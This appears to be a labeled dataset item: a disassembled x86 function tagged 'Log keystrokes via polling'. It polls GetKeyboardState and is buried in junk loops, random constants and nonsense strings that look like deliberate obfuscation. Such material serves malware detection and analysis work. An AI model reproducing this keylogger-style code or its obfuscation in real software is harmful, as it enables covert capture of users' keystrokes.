Function at 0x1000205a
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, 0x10060c16
call fcn.10060598
sub esp, 0x174
cmp byte [ebp + 0x18], 0
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x5c], esi
je 0x10002b37
lea eax, [ebp + 0xc]
mov dword [ebp - 0x18], 0x2667a876
xor ebx, ebx
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x18], ebx
jmp 0x100020aa
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x168], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10002099
push 2
mov dword [ebp - 0x18], ebx
pop edi
jmp 0x100020ec
mov byte [ebp - 0x31], bl
cmp byte [ebp - 0x31], bl
je 0x100020e9
push 0x43d3
push 0x29ec
push 0x7416
push 0x3169
push 0x3f5f
push ebx
mov edx, 0x35a3
xor cl, cl
call fcn.100032e8
add esp, 0x18
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x100020b8
xor eax, eax
mov dword [ebp - 0xd4], 7
mov dword [ebp - 0xd8], ebx
mov word [ebp - 0xe8], ax
lea eax, [ebp - 0xe8]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp + 0xc]
call fcn.10002c13
mov eax, dword [0x1007e628]
pop ecx
test al, 1
jne 0x10002146
or eax, 1
mov dword [0x1007e628], eax
push 0x8c0f
mov byte [ebp - 4], 1
call fcn.10016746
pop ecx
mov word [0x1007e630], ax
mov byte [ebp - 4], bl
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x1c], 0xa138dbec
mov dword [ebp - 0x1c], 0xb7c80bfd
mov dword [ebp - 0x1c], 0x48fb8aaa
mov dword [ebp - 0x14], ebx
jmp 0x10002186
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x100], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10002175
mov dword [ebp - 0x1c], 0x4ca1
cmp dword [ebp - 0x1c], 0x4e45
jle 0x1000220c
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], 0x447d
mov esi, dword [ebp - 0x18]
mov edi, ebx
mov eax, esi
lea ecx, [ebp - 0x144]
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100021cd
mov eax, dword [eax]
push eax
call fcn.10049ba3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x144]
call fcn.10004a46
inc edi
cmp edi, 0x6f90
jl 0x100021ae
mov esi, dword [ebp - 0x24]
add dword [ebp - 0x18], esi
dec dword [ebp - 0x28]
jne 0x100021a9
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x78ec
jl 0x1000219f
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push 2
pop edi
mov dword [ebp - 0x14], ebx
jmp 0x1000221f
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x58], 6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x10002211
cmp dword [ebp - 0x1c], 0x4c08
jge 0x10002239
push str.puaxeelt_foruyzggr_xeftgqdhn_osg_ipaoglz_erjvkfe_coenim_tjrmyh_xgbmkzho_jnlkdy_fueg_zkq_gyg_igaybf
call fcn.10049ba3
pop ecx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 9
jg 0x10002429
mov dword [ebp - 0x14], 0xffffffff
mov dword [ebp - 0x2c], 0x13bf58aa
mov dword [ebp - 0x1c], 0x2cc684ca
mov dword [ebp - 0x18], ebx
jmp 0x10002274
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xd0], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10002263
cmp dword [ebp - 0x20], ebx
je 0x100022a3
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x2c], ebx
jne 0x100022b7
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
mov ecx, 0x4cdb8faa
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x20]
sub ecx, eax
jne 0x100022d2
cmp dword [ebp - 0x2c], ebx
je 0x1000240a
cmp dword [ebp - 0x2c], ebx
je 0x1000240a
push 0x40b6
lea eax, [ebp - 0x54]
mov dword [ebp - 0x54], ebx
push eax
push ecx
lea eax, [ebp - 0x20]
mov dword [ebp - 0x28], 0x215cd4dc
push eax
push ecx
mov dword [ebp - 0x28], 0xe5efb48c
lea ecx, [ebp - 0x2c]
xor dl, dl
call fcn.100032ad
mov dword [ebp - 0x18], 0x5211
add esp, 0x14
cmp dword [ebp - 0x18], 0x5497
jle 0x10002348
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemCount]
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x1007c0d8
cdq
push edx
push eax
call fcn.100042cb
inc edi
cmp edi, 0xe7
jl 0x10002323
inc esi
cmp esi, 0x39bd
jl 0x10002321
push 2
pop edi
mov eax, dword [ebp - 0x54]
mov ecx, 0x5823
mov eax, dword [ebp - 0x14]
sub ecx, eax
jne 0x10002363
cmp dword [ebp - 0xcc], ebx
jne 0x10002363
mov esi, ebx
jmp 0x10002366
xor esi, esi
inc esi
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0xcc]
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setne dl
xor ecx, ecx
cmp eax, esi
mov eax, dword [ebp - 0x1c]
setg cl
add ecx, edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setge dl
xor ecx, ecx
cmp edx, eax
setge cl
xor edx, edx
dec ecx
mov dword [ebp - 0x28], ecx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x20]
add ecx, eax
mov eax, dword [ebp - 0xd0]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setl dl
imul eax, edx
test eax, eax
jne 0x100023bc
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x28], ebx
mov byte [ebp - 4], 4
cmp dword [ebp - 0x18], 0x4fe5
jge 0x100023db
mov edx, str.xps_zllkbgq_kklnhgk_qhh_gmzaxhlh_qfj_nlo_rubzb
mov ecx, 0x1007c0d8
call fcn.10006d07
mov dword [ebp - 4], ebx
jmp 0x1000241e
push ecx
push ecx
lea ecx, [ebp - 0x68]
mov dword [ebp - 0x68], 8
call fcn.10002f25
add esp, 8
mov eax, dword [ebp - 0x2c]
inc dword [ebp - 0x20]
jmp 0x1000223f
dec dword [ebp - 0x58]
mov eax, dword [0x1007e628]
test al, 2
jne 0x10002454
or eax, edi
mov dword [0x1007e628], eax
push 0x5b9d
mov byte [ebp - 4], 6
call fcn.10016746
pop ecx
mov word [0x1007e604], ax
mov byte [ebp - 4], bl
mov dword [ebp - 0x18], 0x99841b3c
lea ecx, [ebp - 0x9c]
push edi
call fcn.1000457d
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x10c]
mov dword [ebp - 0x30], 0xb430688c
push 1
call fcn.1000457d
mov byte [ebp - 4], 8
mov dword [ebp - 0x30], 0x563ade45
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x78], 6
mov dword [ebp - 0x40], ebx
jmp 0x100024ac
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x9c]
mov dword [eax + ecx*4], 0xfffffffc
inc dword [ebp - 0x40]
cmp dword [ebp - 0x40], edi
jl 0x10002499
lea eax, [ebp - 0x10c]
xor dl, dl
push eax
lea ecx, [ebp - 0x40]
call fcn.10002f3c
mov dword [ebp - 0x18], 0x1b
cmp dword [ebp - 0x18], 0x18
pop ecx
jl 0x10002668
mov esi, 0x2fdad5a5
mov dword [ebp - 0x24], 0x102d149f
lea ecx, [ebp - 0xf4]
push 1
call fcn.1000457d
xor edx, edx
mov byte [ebp - 4], 9
mov dword [ebp - 0x14], ebx
inc edx
jmp 0x1000250c
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xf4]
mov dword [eax + ecx*4], 0x9b69b2e4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x100024f9
mov dword [ebp - 0x14], ebx
jmp 0x10002524
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x60], 0xa6ff609d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jl 0x10002516
mov dword [ebp - 0x24], 0xffffffe9
jmp 0x10002642
mov dword [ebp - 0x1c], 0x21fbb9c
mov dword [ebp - 0x14], ebx
jmp 0x10002552
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x8c], 0xc520ea0c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x10002541
mov dword [ebp - 0x14], ebx
jmp 0x1000256d
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xfc], 0xffffffff
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x1000255c
cmp dword [ebp - 0x24], ebx
je 0x1000261e
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x14], ebx
jmp 0x10002590
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x12c], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10002583
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x14], ebx
jl 0x100025c2
push 0x621f
mov byte [ebp - 0x33], bl
lea ecx, [ebp - 0x33]
push ebx
mov edx, 0x4de8
call fcn.100033ee
dec dword [ebp - 0x14]
pop ecx
pop ecx
jns 0x100025a2
xor edx, edx
inc edx
mov eax, dword [ebp - 0xf4]
xor ecx, ecx
mov dword [eax], esi
mov eax, dword [ebp - 0x88]
sub eax, dword [ebp - 0x88]
cmp eax, 0xfd06
mov eax, 0xc7e43439
setl cl
cmp eax, ecx
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, esi
setg cl
mov dword [ebp - 0x60], ecx
test ecx, ecx
jne 0x10002600
mov ecx, ebx
cmp dword [ebp - 0x18], ebx
je 0x10002602
mov ecx, edx
mov dword [ebp - 0xfc], ecx
mov eax, dword [ebp - 0x120]
sub eax, ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
neg ecx
jmp 0x10002637
mov eax, dword [ebp - 0x9c]
cmp dword [eax], ebx
je 0x10002635
mov eax, dword [ebp - 0x60]
mov ecx, edx
cmp dword [ebp - 0x88], ebx
jne 0x10002637
mov ecx, ebx
mov eax, dword [ebp - 0x9c]
mov dword [eax], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x1d
jl 0x10002535
lea ecx, [ebp - 0xf4]
mov byte [ebp - 4], 8
call fcn.10004600
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x18
jge 0x100024d9
push 1
push 0x2c9f
push ebx
push 0x54a8
push 1
lea eax, [ebp - 0x78]
mov edx, 0x246b
push eax
push 0x51b6
push 0x8ab
mov ecx, 0x485c
call fcn.10001f17
add esp, 0x20
lea ecx, [ebp - 0x10c]
call fcn.10004600
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], bl
call fcn.10004600
mov esi, ebx
mov dword [ebp - 0x4c], ebx
mov eax, dword [ebp - 0xa4]
cmp esi, dword [eax]
jae 0x10002b0f
mov dword [ebp - 0x1c], 0x45ec
cmp dword [ebp - 0x1c], 0x47c8
jle 0x10002719
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
cdq
lea ecx, [ebp - 0x15c]
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100026f2
mov eax, dword [eax]
push eax
call fcn.10049ba3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x15c]
call fcn.10004a46
inc edi
cmp edi, 0x526c
jl 0x100026d7
inc esi
cmp esi, 0x6999
jl 0x100026d5
cmp dword [ebp - 0x1c], 0x45a5
jge 0x1000272d
push str.tyw_srny_jnmvvly_qdibmeofu_uqbf_mde_key_aklofykd_cvxcr_xgl_dwfp_sjeipzj
call fcn.10049ba3
pop ecx
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x44], 1
push 4
call fcn.1000457d
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0xc
push eax
push 0x6800
push 0x9e8
push 0x3d2
mov dword [ebp - 0x50], 0xffffffff
lea edx, [ebp - 0xc4]
mov dword [ebp - 0xb8], 0xffffffff
mov cl, 1
push 0x7c
mov dword [ebp - 0xa0], 0xfffffffb
mov dword [ebp - 0x84], 0xb4ff5102
push ebx
call fcn.100032e8
add esp, 0x18
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], 0xffffffee
je 0x1000290b
mov dword [ebp - 0x3c], 0x17633efc
mov dword [ebp - 0x64], 0x9ec13488
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], 3
jg 0x100028d0
mov dword [ebp - 0x18], 0xfffffff9
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], ebx
jl 0x100028c8
mov dword [ebp - 0x1c], 0x255ebda1
mov dword [ebp - 0x1c], 0x119e
cmp dword [ebp - 0x1c], 0x1307
jle 0x10002832
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
shl eax, cl
lea ecx, [ebp - 0x180]
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1000280b
mov eax, dword [eax]
push eax
call fcn.10049ba3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x180]
call fcn.10004a46
inc edi
cmp edi, 0x4cb0
jl 0x100027ed
inc esi
cmp esi, 0x103c
jl 0x100027eb
mov byte [ebp - 0x34], bl
cmp dword [ebp - 0x1c], 0x10c5
jge 0x10002849
push str.ktfeo_qnfpo_pft_jsbtzi_onj
call fcn.10049ba3
pop ecx
push 1
push 0x48d3
push 1
push 0xf36
push 1
push 0x3f2
lea eax, [ebp - 0x34]
mov dword [ebp - 4], 0xc
push eax
push 0x67fc
mov edx, 0x745e
mov ecx, 0x48e
call fcn.10001f17
mov eax, dword [ebp - 0x18]
add esp, 0x20
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x50], ebx
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xc4]
sub ecx, 9
cmp ecx, dword [eax + 8]
jle 0x100028a8
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x64], eax
jmp 0x100028c0
lea eax, [ebp - 0x35]
mov byte [ebp - 0x35], bl
push eax
push 0x3601
mov edx, 0x6b43
call fcn.10003251
pop ecx
pop ecx
dec dword [ebp - 0x18]
jmp 0x100027c9
inc dword [ebp - 0x3c]
jmp 0x100027b1
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0xb8]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0xc4]
push eax
lea eax, [ebp - 0x84]
push eax
push ebx
lea edx, [ebp - 0x50]
lea ecx, [ebp - 0xa0]
call fcn.10002f92
add esp, 0x1c
dec dword [ebp - 0x44]
jmp 0x10002796
lea ecx, [ebp - 0xc4]
mov byte [ebp - 4], bl
call fcn.10004600
call fcn.10001ad1
push 0x34
xor edx, edx
pop ecx
div ecx
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x14], 0xffff
mov dword [ebp - 0x48], 0xc3203bd6
mov dword [ebp - 0x24], 0x108531d1
mov dword [ebp - 0x30], 0x86565ea
mov dword [ebp - 0x30], 0xb5dae8c
mov dword [ebp - 0x18], ebx
jmp 0x1000295d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xb4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x10002950
cmp dword [ebp - 0x14], ebx
jne 0x1000296e
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x14]
add eax, 0x598a
je 0x10002a2b
push dword [ebp - 0x80]
movdqa xmm0, xmmword [0x1006f060]
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x11c]
mov dword [ebp - 0x74], ebx
push eax
push ebx
lea ecx, [ebp - 0x74]
mov dword [ebp - 0x70], ebx
movdqu xmmword [ebp - 0x11c], xmm0
mov dword [ebp - 0x6c], ebx
call fcn.10007275
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x14], ebx
jmp 0x10002a18
push ecx
push ecx
push 0x6cfd
push 1
lea edx, [ebp - 0x74]
call fcn.10001b0a
add esp, 0x10
mov byte [ebp - 0x32], bl
lea eax, [ebp - 0x32]
mov dl, 1
push eax
push 0x7f0c
push ecx
push 0xaec
push ecx
mov ecx, 0x10dd
call fcn.100032ad
add esp, 0x14
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x100029df
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], bl
call fcn.10004600
jmp 0x10002a80
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x1c], 0xa8c98aac
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x28], 0x47c914a3
mov dword [ebp - 0x1c], 0x3d975123
mov eax, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
imul eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x28]
jle 0x10002a71
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x28]
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xb0]
inc eax
je 0x10002ac4
mov edx, dword [ebp - 0xb0]
mov eax, dword [ebp - 0x24]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x14]
setg cl
xor edx, edx
cmp ecx, 0xbb6f
setg dl
sub edx, 0xfffffff7
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x24]
je 0x10002ac4
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x48]
lea ecx, [ebp - 0x90]
lea eax, [ebp - 0x48]
mov dword [ebp - 0x90], 0xffffffff
push eax
push ebx
mov edx, 0x4ff8
call fcn.10002bed
push 0x1007e604
lea eax, [ebp - 0x7c]
mov ecx, 0x1007e630
push ebx
push eax
lea edx, [ebp - 0xe8]
call fcn.10002c53
mov esi, dword [ebp - 0x4c]
add esp, 0x14
inc esi
mov dword [ebp - 0x4c], esi
jmp 0x100026b5
mov eax, dword [ebp - 0x5c]
lea ecx, [ebp - 0xe8]
cmp eax, ecx
je 0x10002b27
push 0xffffffffffffffff
push ebx
push ecx
mov ecx, eax
call fcn.10004a8a
push ebx
push 1
lea ecx, [ebp - 0xe8]
call fcn.10004bb8
jmp 0x10002b52
mov esi, dword [ebp + 8]
cmp byte [esi], 0
jne 0x10002b52
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0x30]
push eax
call fcn.10004d71
mov byte [esi], 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret